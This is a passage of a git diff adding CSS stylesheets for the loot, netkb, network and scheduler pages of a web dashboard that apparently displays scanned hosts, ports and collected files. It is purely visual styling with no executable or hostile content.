+.loot-container .tabs-container { + display: flex; + gap: 8px; + padding: 4px; + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border-radius: 12px; + border: 1px solid var(--_border); + backdrop-filter: blur(10px); + overflow-x: auto; + scrollbar-width: none; +} + +.loot-container .tabs-container::-webkit-scrollbar { + display: none; +} + +.loot-container .tab { + padding: 10px 20px; + border-radius: 8px; + cursor: pointer; + transition: .2s; + white-space: nowrap; + font-size: .9rem; + font-weight: 700; + position: relative; + color: var(--_muted); + border: 1px solid transparent; +} + +.loot-container .tab:hover { + background: rgba(255, 255, 255, .05); + color: var(--_ink); +} + +.loot-container .tab.active { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 16%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); + color: var(--_ink); + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.loot-container .tab.active::after { + content: ''; + position: absolute; + bottom: 0; + left: 10%; + right: 10%; + height: 2px; + background: linear-gradient(90deg, var(--_acid), var(--_acid2)); + border-radius: 2px; +} + +.loot-container .tab-badge { + display: inline-block; + padding: 2px 6px; + margin-left: 6px; + background: rgba(255, 255, 255, .08); + border: 1px solid var(--_border); + border-radius: 10px; + font-size: .75rem; + font-weight: 700; + color: var(--_ink); +} + +.loot-container .explorer { + background: color-mix(in oklab, var(--_panel) 88%, transparent); + border-radius: 20px; + border: 1px solid var(--_border); + backdrop-filter: blur(20px); + box-shadow: var(--_shadow); + overflow: hidden; + flex: 1; + display: flex; + flex-direction: column; + animation: loot-slideIn .6s ease-out; +} + +@keyframes loot-slideIn { + from { + opacity: 0; + transform: translateX(-16px); + } + + to { + opacity: 1; + transform: translateX(0); + } +} + +.loot-container .explorer-content { + padding: 20px; + overflow-y: auto; + flex: 1; + min-height: 0; +} + +.loot-container .tree-view { + display: none; +} + +.loot-container .tree-view.active { + display: block; +} + +.loot-container .list-view { + display: none; +} + +.loot-container .list-view.active { + display: grid; + gap: 8px; +} + +.loot-container .loot-tree-node { + margin-bottom: 4px; + animation: loot-itemSlide .3s ease-out backwards; + margin-left: calc(var(--loot-level, 0) * 8px); +} + +@keyframes loot-itemSlide { + from { + opacity: 0; + transform: translateX(-10px); + } + + to { + opacity: 1; + transform: translateX(0); + } +} + +.loot-container .loot-tree-row { + width: 100%; + display: grid; + grid-template-columns: 18px 30px minmax(0, 1fr) auto; + align-items: center; + gap: 10px; + padding: 10px 12px; + cursor: pointer; + border-radius: 10px; + transition: .2s; + border: 1px solid transparent; + position: relative; + overflow: hidden; + color: var(--_ink); + background: color-mix(in oklab, var(--_panel) 86%, transparent); + text-align: left; +} + +.loot-container .loot-tree-row::before { + content: ''; + position: absolute; + inset: 0; + background: linear-gradient(90deg, transparent, rgba(255, 255, 255, .05), transparent); + transform: translateX(-100%); + transition: transform .6s; +} + +.loot-container .loot-tree-row:hover::before { + transform: translateX(100%); +} + +.loot-container .loot-tree-row:hover { + border-color: color-mix(in oklab, var(--_acid2) 26%, var(--_border)); + background: color-mix(in oklab, var(--_panel) 94%, transparent); +} + +.loot-container .loot-tree-icon { + width: 30px; + height: 30px; + display: flex; + align-items: center; + justify-content: center; + border-radius: 8px; + font-size: 1.1rem; + flex-shrink: 0; + background: color-mix(in oklab, var(--_acid) 12%, transparent); + color: var(--_ink); +} + +.loot-container .folder-icon { + background: color-mix(in oklab, var(--_acid) 10%, transparent); + color: var(--_ink); +} + +.loot-container .loot-tree-name { + font-weight: 600; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.loot-container .loot-tree-chevron { + width: 18px; + height: 18px; + display: flex; + align-items: center; + justify-content: center; + color: var(--_muted); + transition: transform .3s cubic-bezier(.4, 0, .2, 1); + font-size: .75rem; +} + +.loot-container .loot-tree-meta { + justify-self: end; + padding: 2px 8px; + border-radius: 999px; + border: 1px solid var(--_border); + font-size: .72rem; + color: var(--_muted); + background: color-mix(in oklab, var(--_panel) 76%, transparent); +} + +.loot-container .loot-tree-node.expanded .loot-tree-chevron { + transform: rotate(90deg); +} + +.loot-container .loot-tree-children { + display: none; + overflow: hidden; + margin-left: 10px; + padding-left: 14px; + border-left: 1px dashed color-mix(in oklab, var(--_border) 82%, transparent); +} + +.loot-container .loot-tree-node.expanded .loot-tree-children { + display: block; +} + +.loot-container .file-item { + display: flex; + align-items: center; + padding: 10px 12px; + border-radius: 10px; + cursor: pointer; + transition: .2s; + margin-bottom: 4px; +} + +.loot-container .file-item:hover { + background: rgba(255, 255, 255, .04); + transform: translateX(4px); +} + +.loot-container .file-item:active { + transform: translateX(2px) scale(.98); +} + +.loot-container .file-item.is-tree-file { + margin-left: calc(var(--loot-level, 0) * 8px); + margin-top: 2px; + margin-bottom: 2px; + padding: 8px 10px; + border: 1px solid transparent; + background: color-mix(in oklab, var(--_panel) 82%, transparent); +} + +.loot-container .file-item.is-tree-file:hover { + transform: none; + border-color: color-mix(in oklab, var(--_acid2) 22%, var(--_border)); +} + +.loot-container .file-icon { + width: 28px; + height: 28px; + display: flex; + align-items: center; + justify-content: center; + border-radius: 6px; + margin-right: 12px; + font-size: .9rem; + flex-shrink: 0; + color: var(--_ink); + background: color-mix(in oklab, var(--_panel) 75%, transparent); +} + +.loot-container .file-icon.ssh { + background: color-mix(in oklab, var(--_acid) 12%, transparent); +} + +.loot-container .file-icon.sql { + background: color-mix(in oklab, var(--_acid2) 12%, transparent); +} + +.loot-container .file-icon.smb { + background: color-mix(in oklab, var(--_acid2) 16%, transparent); +} + +.loot-container .file-icon.other { + background: color-mix(in oklab, var(--_panel) 75%, transparent); +} + +.loot-container .file-name { + flex: 1; + font-size: .9rem; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + color: var(--_ink); +} + +.loot-container .file-type { + padding: 3px 8px; + border-radius: 6px; + font-size: .7rem; + font-weight: 800; + text-transform: uppercase; + letter-spacing: .05em; + margin-left: 8px; + border: 1px solid var(--_border); + color: var(--_ink); + background: color-mix(in oklab, var(--_panel) 80%, transparent); +} + +.loot-container .file-type.ssh { + background: color-mix(in oklab, var(--_acid) 12%, transparent); +} + +.loot-container .file-type.sql { + background: color-mix(in oklab, var(--_acid2) 12%, transparent); +} + +.loot-container .file-type.smb { + background: color-mix(in oklab, var(--_acid2) 16%, transparent); +} + +.loot-container .no-results { + text-align: center; + color: var(--_muted); + padding: 40px; + font-size: .95rem; +} + +.loot-container .no-results-icon { + font-size: 3rem; + margin-bottom: 16px; + opacity: .5; +} + +.loot-container .loading { + display: flex; + justify-content: center; + align-items: center; + height: 200px; +} + +.loot-container .loading-spinner { + width: 40px; + height: 40px; + border: 3px solid var(--_border); + border-top-color: var(--_acid2); + border-radius: 50%; + animation: loot-spin 1s linear infinite; +} + +@keyframes loot-spin { + to { + transform: rotate(360deg); + } +} + +@media (max-width:768px) { + .loot-container { + padding: 12px; + gap: 12px; + } + + .loot-container .controls-bar { + flex-direction: column; + align-items: stretch; + } + + .loot-container .search-container { + width: 100%; + } + + .loot-container .view-controls { + justify-content: center; + } + + .loot-container .tabs-container { + padding: 2px; + } + + .loot-container .tab { + padding: 8px 14px; + font-size: .85rem; + } + + .loot-container .explorer-content { + padding: 12px; + max-height: calc(100vh - 320px); + } + + .loot-container .loot-tree-row { + grid-template-columns: 16px 26px minmax(0, 1fr); + gap: 8px; + padding: 9px 10px; + } + + .loot-container .loot-tree-meta { + display: none; + } + + .loot-container .loot-tree-children { + margin-left: 8px; + padding-left: 10px; + } + + .loot-container .stat-item { + padding: 6px 10px; + } + + .loot-container .stat-value { + font-size: .95rem; + } +} + +@media (hover:none) { + .loot-container .loot-tree-row:active { + background: rgba(255, 255, 255, .06); + } +} + diff --git a/web/css/pages/netkb.css b/web/css/pages/netkb.css new file mode 100644 index 0000000..8ae03e2 --- /dev/null +++ b/web/css/pages/netkb.css @@ -0,0 +1,538 @@ +/* ===== NETKB ===== */ +.netkb-container { + display: grid; + gap: 16px; + min-width: 0; + max-width: 100%; + overflow: hidden; +} + +.netkb-container .hidden { + display: none !important; +} + +.netkb-container .netkb-toolbar-wrap { + position: sticky; + top: 0; + z-index: 500; + backdrop-filter: saturate(1.1) blur(6px); +} + +.netkb-container .netkb-toolbar { + position: relative; + display: flex; + gap: 12px; + align-items: center; + justify-content: flex-end; + margin-bottom: 12px; + border: 1px solid var(--c-border-strong); + padding: 8px 10px; + box-shadow: var(--shadow); + background: var(--panel); + border-radius: 16px; +} + +/* .segmented styles now inherited from global.css */ + +.netkb-container .kb-switch { + display: inline-flex; + align-items: center; + gap: 10px; + font-weight: 700; + color: var(--muted); + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + padding: 6px 10px; +} + +.netkb-container .kb-switch input { + display: none; +} + +.netkb-container .kb-switch .track { + width: 44px; + height: 24px; + border-radius: 999px; + background: var(--c-panel-2); + position: relative; + border: 1px solid var(--c-border); +} + +.netkb-container .kb-switch .thumb { + position: absolute; + top: 2px; + left: 2px; + width: 20px; + height: 20px; + border-radius: 50%; + background: var(--ink); + box-shadow: 0 2px 8px rgba(0, 0, 0, .4); + transition: left .18s ease, background .18s ease; +} + +.netkb-container .kb-switch input:checked~.track .thumb { + left: 22px; + background: var(--acid); +} + +.netkb-container .kb-switch[data-on="true"] { + color: var(--ink); +} + +.netkb-container .icon-btn { + display: inline-flex; + align-items: center; + justify-content: center; + width: 40px; + height: 40px; + border-radius: 12px; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow); + cursor: pointer; + transition: transform .12s ease, box-shadow .12s ease; +} + +.netkb-container .icon-btn:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.netkb-container .icon-btn svg { + width: 20px; + height: 20px; + fill: var(--ink); +} + +.netkb-container .search-pop { + position: absolute; + right: 8px; + top: 54px; + display: none; + min-width: 260px; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 12px; + padding: 10px; + box-shadow: var(--shadow-hover); +} + +.netkb-container .search-pop.show { + display: block; +} + +.netkb-container .search-input-wrap { + position: relative; + display: flex; + align-items: center; +} + +.netkb-container .search-pop input { + width: 100%; + padding: 10px 32px 10px 12px; + border-radius: 10px; + border: 1px solid var(--c-border); + background: var(--c-panel-2); + color: var(--ink); + font-weight: 700; + outline: none; +} + +.netkb-container .search-clear { + position: absolute; + right: 6px; + top: 50%; + transform: translateY(-50%); + width: 24px; + height: 24px; + display: flex; + align-items: center; + justify-content: center; + border: none; + background: transparent; + color: var(--muted); + font-size: 14px; + cursor: pointer; + border-radius: 50%; + transition: background .15s; +} + +.netkb-container .search-clear:hover { + background: var(--c-border-strong); + color: var(--ink); +} + +.netkb-container .search-hint { + margin-top: 6px; + font-size: .85rem; + color: var(--muted); +} + +.netkb-container .card-container { + display: flex; + flex-wrap: wrap; + gap: 12px; + align-items: stretch; + justify-content: center; + min-width: 0; + max-width: 100%; +} + +.netkb-container .card { + background: var(--grad-card); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: 18px; + box-shadow: var(--shadow); + width: min(380px, 100%); + padding: 12px; + display: flex; + flex-direction: column; + gap: 10px; + overflow: hidden; + min-width: 0; + transition: transform .15s ease, box-shadow .15s ease, border-color .15s ease, background .15s ease; +} + +.netkb-container .card:hover { + box-shadow: var(--shadow-hover); + border-color: var(--c-border-hi); + transform: translateY(-1px); +} + +.netkb-container .card.alive .card-title { + color: var(--ok); +} + +.netkb-container .card.not-alive { + background: var(--kb-offline-bg); + border-color: var(--kb-offline-brd); + color: color-mix(in oklab, var(--muted) 90%, var(--ink) 10%); + box-shadow: 0 0 0 1px var(--kb-offline-brd), 0 0 0 2px color-mix(in oklab, var(--kb-offline-ring) 26%, transparent), var(--shadow); +} + +.netkb-container .card.not-alive .card-title { + color: color-mix(in oklab, var(--muted) 85%, var(--ink) 15%); +} + +.netkb-container .card-content { + display: flex; + flex-direction: column; + gap: 6px; + flex: 1; +} + +.netkb-container .card-title { + font-size: 1.1rem; + font-weight: 800; + margin: 0; +} + +.netkb-container .card-section { + display: flex; + align-items: center; + gap: 8px; + flex-wrap: wrap; +} + +.netkb-container .card.list { + width: 100%; + max-width: none; + flex-direction: row; + align-items: center; +} + +.netkb-container .card.list .card-title { + font-size: 1rem; +} + +.netkb-container .chip { + display: inline-block; + padding: .32rem .7rem; + border-radius: 999px; + border: 1px solid var(--c-border-strong); + background: var(--kb-chip); + color: var(--ink); + font-weight: 700; + font-size: .92rem; +} + +.netkb-container .chip.host { + background: var(--kb-hostname-bg); +} + +.netkb-container .chip.ip { + background: var(--kb-ip-bg); +} + +.netkb-container .chip.mac { + background: var(--kb-mac-bg); + color: var(--muted); +} + +.netkb-container .chip.vendor { + background: var(--kb-vendor-bg); +} + +.netkb-container .chip.essid { + background: var(--kb-essid-bg); +} + +.netkb-container .chip.port { + background: var(--kb-ports-bg); + border-color: var(--c-border-hi); +} + +.netkb-container .port-bubbles { + display: flex; + flex-wrap: wrap; + gap: 6px; +} + +.netkb-container .status-container { + display: flex; + flex-wrap: wrap; + gap: 8px; + justify-content: center; + min-width: 0; + max-width: 100%; +} + +.netkb-container .badge { + background: var(--c-panel-2); + color: var(--ink); + border: 1px solid var(--c-border); + border-radius: 14px; + padding: 8px 10px; + min-width: 0; + flex: 1 1 120px; + max-width: 100%; + text-align: center; + box-shadow: var(--shadow); + transition: transform .12s ease, box-shadow .12s ease, opacity .12s ease; + position: relative; +} + +.netkb-container .badge .badge-header { + font-weight: 800; + opacity: .95; +} + +.netkb-container .badge .badge-status { + font-weight: 900; +} + +.netkb-container .badge .badge-timestamp { + font-size: .85em; + opacity: .9; +} + +.netkb-container .badge.clickable { + cursor: pointer; +} + +.netkb-container .badge:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.netkb-container .badge.success { + background: linear-gradient(180deg, color-mix(in oklab, var(--ok) 12%, transparent), transparent); +} + +.netkb-container .badge.failed { + background: linear-gradient(180deg, color-mix(in oklab, var(--danger) 18%, transparent), transparent); +} + +.netkb-container .badge.pending { + background: linear-gradient(180deg, color-mix(in oklab, var(--muted) 12%, transparent), transparent); +} + +.netkb-container .badge.expired { + background: linear-gradient(180deg, color-mix(in oklab, var(--warning) 18%, transparent), transparent); +} + +.netkb-container .badge.cancelled { + background: linear-gradient(180deg, color-mix(in oklab, var(--c-panel) 18%, transparent), transparent); +} + +.netkb-container .badge.running { + background: linear-gradient(180deg, color-mix(in oklab, #18f0ff 14%, transparent), transparent); + overflow: hidden; + animation: kb-badgePulse 1.6s ease-in-out infinite; +} + +.netkb-container .badge.running::after { + content: ""; + position: absolute; + inset: 0; + background: var(--kb-badge-shimmer); + animation: kb-shimmer 1.8s linear infinite; +} + +.netkb-container .badge.running::before { + content: ""; + position: absolute; + inset: -20%; + background: linear-gradient(130deg, transparent 40%, rgba(255, 255, 255, .06) 50%, transparent 60%); + animation: kb-sheen 2.2s ease-in-out infinite; +} + +@keyframes kb-shimmer { + 0% { + transform: translateX(-100%); + } + + 100% { + transform: translateX(100%); + } +} + +@keyframes kb-sheen { + 0% { + transform: translateX(-30%); + } + + 100% { + transform: translateX(30%); + } +} + +@keyframes kb-badgePulse { + + 0%, + 100% { + box-shadow: 0 0 0 0 rgba(24, 240, 255, .12); + } + + 50% { + box-shadow: 0 0 0 8px rgba(24, 240, 255, .04); + } +} + +.netkb-container .table-wrap { + border: 1px solid var(--c-border-strong); + border-radius: 14px; + overflow: auto; + background: var(--panel); + box-shadow: var(--shadow); +} + +.netkb-container .table-inner { + min-width: max-content; +} + +.netkb-container table { + width: 100%; + border-collapse: separate; + border-spacing: 0; +} + +.netkb-container thead th { + position: sticky; + top: 0; + z-index: 2; + background: var(--c-panel); + color: var(--ink); + border-bottom: 1px solid var(--c-border-strong); + padding: 10px; + text-align: left; + white-space: nowrap; + cursor: pointer; +} + +.netkb-container tbody td { + border-bottom: 1px solid var(--c-border); + padding: 10px; + white-space: nowrap; + text-align: center; +} + +.netkb-container th:first-child, +.netkb-container td:first-child { + position: sticky; + left: 0; + background: var(--panel); + z-index: 3; +} + +.netkb-container .filter-icon { + width: 16px; + height: 16px; + margin-left: 6px; + vertical-align: middle; +} + +.netkb-container mark.hl { + background: color-mix(in oklab, var(--acid) 25%, transparent); + color: var(--ink); + padding: 0 .15em; + border-radius: 4px; +} + +.netkb-container .segmented button:focus-visible, +.netkb-container .icon-btn:focus-visible, +.netkb-container .kb-switch:has(input:focus-visible) { + outline: 2px solid var(--acid); + outline-offset: 2px; + box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); +} + +@media (max-width:720px) { + .netkb-container { + padding: 0 4px; + } + + .netkb-container .card { + width: 100%; + } + + .netkb-container .segmented button[data-view="grid"] { + display: none; + } + + .netkb-container .netkb-toolbar-wrap { + position: relative; + top: auto; + } + + .netkb-container .netkb-toolbar { + flex-wrap: wrap; + justify-content: center; + gap: 8px; + } + + .netkb-container .table-wrap { + display: block; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + max-width: 100%; + width: 100%; + box-sizing: border-box; + } + + .netkb-container .table-inner>table { + min-width: 760px; + width: max-content; + } + + .netkb-container thead th, + .netkb-container tbody td { + min-width: 80px; + font-size: .85rem; + padding: 8px 6px; + white-space: nowrap; + } + + .netkb-container .chip { + font-size: .8rem; + padding: .25rem .5rem; + } + + .netkb-container .badge { + min-width: 120px; + padding: 6px 8px; + } +} + diff --git a/web/css/pages/network.css b/web/css/pages/network.css new file mode 100644 index 0000000..3726ef7 --- /dev/null +++ b/web/css/pages/network.css @@ -0,0 +1,605 @@ +/* ===== NETWORK ===== */ +.network-container { + padding: 12px; + position: relative; + z-index: 2; + display: flex; + flex-direction: column; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 16px); + overflow: hidden; +} + +.network-container.is-table-view .ocean-container { + display: none; +} + +.network-container .nv-toolbar-wrap { + position: sticky; + top: 0; + margin: 0 0 10px 0; + z-index: 500; + backdrop-filter: saturate(1.1) blur(6px); +} + +.network-container .nv-toolbar { + display: flex; + gap: 12px; + align-items: center; + justify-content: space-between; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + padding: 8px 10px; + box-shadow: var(--shadow); +} + +.network-container .nv-search { + display: flex; + align-items: center; + gap: 8px; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 12px; + padding: 6px 10px; + min-width: 240px; + box-shadow: var(--shadow); +} + +.network-container .nv-search-icon { + font-size: 16px; + flex-shrink: 0; + opacity: .9; +} + +.network-container .nv-search input { + border: none; + outline: none; + background: transparent; + color: var(--ink); + font-weight: 700; + width: 100%; + min-width: 0; +} + +.network-container .nv-search-clear { + flex-shrink: 0; + width: 22px; + height: 22px; + display: flex; + align-items: center; + justify-content: center; + border: none; + background: transparent; + color: var(--muted); + font-size: 13px; + cursor: pointer; + border-radius: 50%; + transition: background .15s; +} + +.network-container .nv-search-clear:hover { + background: var(--c-border-strong); + color: var(--ink); +} + +.network-container .segmented { + display: inline-flex; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + padding: 4px; + box-shadow: var(--shadow); +} + +.network-container .segmented button { + appearance: none; + border: 0; + background: transparent; + color: var(--muted); + font-weight: 700; + padding: 8px 14px; + border-radius: 999px; + cursor: pointer; + transition: background .15s ease, color .15s ease, transform .1s ease; +} + +.network-container .segmented button[aria-pressed="true"] { + background: var(--grad-card); + color: var(--ink); + box-shadow: inset 0 0 0 1px var(--c-border-hi), 0 6px 24px var(--glow-weak); + transform: translateY(-1px); +} + +.network-container .nv-switch { + display: inline-flex; + align-items: center; + gap: 10px; + font-weight: 700; + color: var(--muted); + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 999px; + padding: 6px 10px; + box-shadow: var(--shadow); +} + +.network-container .nv-switch input { + display: none; +} + +.network-container .nv-switch .track { + width: 44px; + height: 24px; + border-radius: 999px; + background: var(--c-panel-2); + position: relative; + border: 1px solid var(--c-border); +} + +.network-container .nv-switch .thumb { + position: absolute; + top: 2px; + left: 2px; + width: 20px; + height: 20px; + border-radius: 50%; + background: var(--ink); + box-shadow: 0 2px 8px rgba(0, 0, 0, .4); + transition: left .18s ease, background .18s ease; +} + +.network-container .nv-switch input:checked~.track .thumb { + left: 22px; + background: var(--acid); +} + +.network-container .nv-switch[data-on="true"] { + color: var(--ink); +} + +.network-container .table-wrap { + position: relative; + border: 1px solid var(--c-border-strong); + border-radius: 14px; + overflow: auto; + -webkit-overflow-scrolling: touch; + background: var(--c-panel, #0b1218); + box-shadow: var(--shadow); + flex: 1; + min-height: 0; +} + +.network-container table.network-table { + width: 100%; + min-width: 100%; + table-layout: auto; + border-collapse: separate; + border-spacing: 0; +} + +.network-container thead th { + position: sticky; + top: 0; + z-index: 3; + background: var(--c-panel, #0b1218); + color: var(--ink); + border-bottom: 1px solid var(--c-border-strong); + padding: 10px; + text-align: left; + cursor: pointer; + box-shadow: inset 0 -1px 0 var(--c-border); +} + +.network-container tbody tr { + background: color-mix(in oklab, var(--c-panel, #0b1218) 94%, var(--acid) 6%); + transition: .25s ease; +} + +.network-container tbody tr:hover { + background: color-mix(in oklab, var(--c-panel, #0b1218) 84%, var(--acid) 16%); +} + +.network-container td { + padding: 10px; + color: var(--ink, #fff); + background: color-mix(in oklab, var(--c-panel, #0b1218) 97%, var(--acid) 3%); + vertical-align: top; + white-space: normal; + border-bottom: 1px solid color-mix(in oklab, var(--c-border) 65%, transparent); +} + +.network-container th.hosts-header { + left: 0; + position: sticky; + z-index: 4; +} + +.network-container td.hosts-cell { + position: sticky; + left: 0; + z-index: 2; + background: color-mix(in oklab, var(--c-panel, #0b1218) 91%, var(--acid) 9%); +} + +.network-container thead th.sort-asc::after { + content: '\2191'; + margin-left: 8px; + color: #00b894; +} + +.network-container thead th.sort-desc::after { + content: '\2193'; + margin-left: 8px; + color: #00b894; +} + +.network-container .hosts-content { + display: flex; + align-items: center; + gap: .55rem; + flex-wrap: wrap; + min-width: 320px; +} + +.network-container .bubble { + padding: .5rem 1rem; + border-radius: 6px; + font-size: .9rem; + display: inline-flex; + align-items: center; + gap: .5rem; + transition: .2s; + box-shadow: 0 2px 4px rgba(0, 0, 0, .1); +} + +.network-container .bubble.bubble-empty { + background: color-mix(in oklab, var(--muted) 18%, transparent); + color: var(--muted); +} + +.network-container .bubble.essid { + background: linear-gradient(135deg, #272727, #2560a1); + color: #fff; + padding: 5px 10px; + border-radius: 5px; + font-size: .9em; + font-weight: bold; + white-space: nowrap; + display: inline-block; +} + +.network-container .bubble.ip-address { + background: linear-gradient(135deg, #272727, #00cec9); + color: #fff; + font-weight: 600; + cursor: pointer; +} + +.network-container .bubble.hostname { + background: linear-gradient(135deg, #5b5c5a, #e7951a); + color: #fff; + cursor: pointer; +} + +.network-container .bubble.mac-address { + background: linear-gradient(135deg, #404041, #636e72); + color: #b2bec3; + font-family: monospace; + cursor: pointer; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.network-container .bubble.vendor { + background: linear-gradient(135deg, #5b5c5a, #0a4952); + color: #fff; + font-weight: 600; + cursor: pointer; + white-space: nowrap; +} + +.network-container .ports-container { + display: flex; + flex-wrap: wrap; + gap: .45rem; + align-items: center; + min-width: 220px; +} + +.network-container .port-bubble { + background: linear-gradient(135deg, #1f2c33, #00b894); + color: #eafff8; + padding: .4rem .8rem; + border-radius: 20px; + font-size: .85rem; + border: 1px solid color-mix(in oklab, #00b894 40%, transparent); + max-width: fit-content; + transition: .2s; +} + +.network-container .port-bubble.is-empty { + background: color-mix(in oklab, var(--panel) 90%, transparent); + color: var(--muted); + border-style: dashed; +} + +.network-container .port-bubble:hover { + transform: scale(1.08); + box-shadow: 0 2px 8px rgba(9, 132, 227, .3); +} + +/* Ports cell — match hosts-cell vertical alignment */ +.network-container td.ports-cell { + vertical-align: top; +} + +/* Sticky pin button */ +.network-container .nv-pin-btn { + display: none; /* shown on mobile only */ + appearance: none; + border: 1px solid var(--c-border); + background: var(--c-panel, #0b1218); + color: var(--ink); + border-radius: 6px; + width: 28px; + height: 24px; + font-size: 13px; + cursor: pointer; + align-items: center; + justify-content: center; + padding: 0; + line-height: 1; + transition: .15s; +} + +.network-container .nv-pin-btn.active { + background: color-mix(in oklab, var(--acid) 20%, var(--c-panel)); + border-color: var(--acid); + box-shadow: 0 0 6px color-mix(in oklab, var(--acid) 30%, transparent); +} + +/* Dynamic sticky columns */ +.network-container .nv-sticky-col { + position: sticky !important; + z-index: 2; + background: color-mix(in oklab, var(--c-panel, #0b1218) 97%, var(--acid) 3%); + box-shadow: 2px 0 4px rgba(0, 0, 0, .15); +} + +.network-container thead .nv-sticky-col { + z-index: 5; + background: var(--c-panel, #0b1218); +} + +.network-container .segmented button:focus-visible, +.network-container .nv-search input:focus-visible, +.network-container .nv-switch:has(input:focus-visible) { + outline: 2px solid var(--acid); + outline-offset: 2px; + box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); +} + +/* Ocean / Map */ +.network-container .ocean-container { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + overflow: hidden; + z-index: 0; + pointer-events: none; + background: radial-gradient(ellipse at center, #0a4b7a 0%, #01162e 60%, #00050a 100%); +} + +.network-container .ocean-surface { + position: absolute; + top: -50%; + left: -50%; + width: 200%; + height: 200%; + opacity: 0.3; + background-image: repeating-radial-gradient(circle at 50% 50%, transparent 0, transparent 20px, rgba(255, 255, 255, 0.02) 25px, transparent 40px); + animation: nv-oceanDrift 60s linear infinite alternate; +} + +.network-container .ocean-caustics { + position: absolute; + top: -100%; + left: -100%; + width: 300%; + height: 300%; + opacity: 0.3; + mix-blend-mode: overlay; + animation: nv-causticFlow 30s linear infinite; +} + +@keyframes nv-oceanDrift { + 0% { + transform: translate(0, 0) rotate(0deg); + } + + 100% { + transform: translate(-40px, 20px) rotate(1deg); + } +} + +@keyframes nv-causticFlow { + 0% { + transform: translate(0, 0); + } + + 100% { + transform: translate(-100px, -50px); + } +} + +.network-container #visualization-container { + display: none; + position: relative; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 100px); + height: 100%; + flex: 1; + border-radius: 14px; + overflow: hidden; + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow); + background: transparent; +} + +.network-container .link { + stroke: rgba(255, 255, 255, 0.15); + stroke-width: 1px; +} + +.network-container .node { + cursor: pointer; + transition: opacity 0.5s; +} + +.network-container .foam-ring { + fill: rgba(240, 248, 255, 0.3); + mix-blend-mode: screen; + animation: nv-foamPulse 4s ease-in-out infinite alternate; +} + +.network-container .foam-ring:nth-child(2) { + animation-delay: -1s; + opacity: 0.3; +} + +@keyframes nv-foamPulse { + 0% { + transform: scale(0.9) rotate(0deg); + opacity: 0.4; + } + + 100% { + transform: scale(1.1) rotate(10deg); + opacity: 0.1; + } +} + +.network-container .sonar-wave { + fill: none; + stroke: #ffb703; + stroke-width: 2px; + animation: nv-sonar 4s infinite ease-out; + opacity: 0; + pointer-events: none; +} + +@keyframes nv-sonar { + 0% { + r: 40px; + opacity: 0.6; + stroke-width: 3px; + } + + 100% { + r: 300px; + opacity: 0; + stroke-width: 1px; + } +} + +.network-container .label-group { + transition: transform 0.1s; +} + +.network-container .label-bg { + fill: rgba(0, 20, 40, 0.8); + rx: 4; + stroke: rgba(255, 255, 255, 0.1); + stroke-width: 0.5px; +} + +.network-container .label-text { + font-size: 10px; + fill: #fff; + font-family: monospace; + text-shadow: 0 1px 2px #000; + pointer-events: none; +} + +.network-container .d3-tooltip { + position: absolute; + pointer-events: none; + opacity: 0; + background: rgba(2, 16, 31, 0.95); + border: 1px solid #219ebc; + padding: 12px; + border-radius: 8px; + font-size: 0.85rem; + color: #fff; + box-shadow: 0 5px 20px rgba(0, 0, 0, 0.5); + transform: translate(-50%, -110%); + transition: opacity 0.2s; + white-space: nowrap; + z-index: 1000; +} + +@media (max-width: 900px) { + .network-container .nv-toolbar { + flex-wrap: wrap; + justify-content: flex-start; + gap: 8px; + } + + .network-container .nv-search { + min-width: 0; + flex: 1 1 220px; + } + + .network-container .segmented { + order: 3; + } + + .network-container table.network-table { + min-width: 100%; + } + + .network-container .hosts-content { + min-width: unset; + } + + .network-container th.hosts-header, + .network-container td.hosts-cell { + position: static; + } + + .network-container .nv-pin-btn { + display: inline-flex; + } +} + +@media (max-width: 720px) { + .network-container { + padding: 8px; + } + + .network-container .nv-toolbar { + padding: 8px; + } + + .network-container table.network-table { + min-width: 100%; + font-size: 0.9rem; + } + + .network-container td, + .network-container th { + padding: 6px; + } + + .network-container .bubble { + font-size: .82rem; + padding: .35rem .65rem; + } + + .network-container .port-bubble { + font-size: .8rem; + padding: .34rem .62rem; + } +} \ No newline at end of file diff --git a/web/css/pages/scheduler.css b/web/css/pages/scheduler.css new file mode 100644 index 0000000..c07517e --- /dev/null +++ b/web/css/pages/scheduler.css @@ -0,0 +1,794 @@ +/* ========================================================================== + SCHEDULER + ========================================================================== */ +.scheduler-container .toolbar-top { + position: sticky; + top: calc(var(--h-topbar, 0px) + 5px); + z-index: 60; +} + +.scheduler-container .controls { + position: sticky; + top: 1px; + z-index: 50; + display: flex; + flex-wrap: wrap; + align-items: center; + gap: .5rem; + padding: .6rem .8rem; + background: var(--panel); + border: 1px solid var(--c-border-strong); + border-radius: 14px; + margin: .6rem .6rem 0 .6rem; + box-shadow: var(--shadow); + backdrop-filter: saturate(1.05) blur(6px); +} + +.scheduler-container .pill { + background: var(--panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + border-radius: 999px; + padding: .45rem .8rem; + cursor: pointer; + user-select: none; + -webkit-user-select: none; + font-weight: 700; + transition: transform .15s ease, box-shadow .2s ease, background 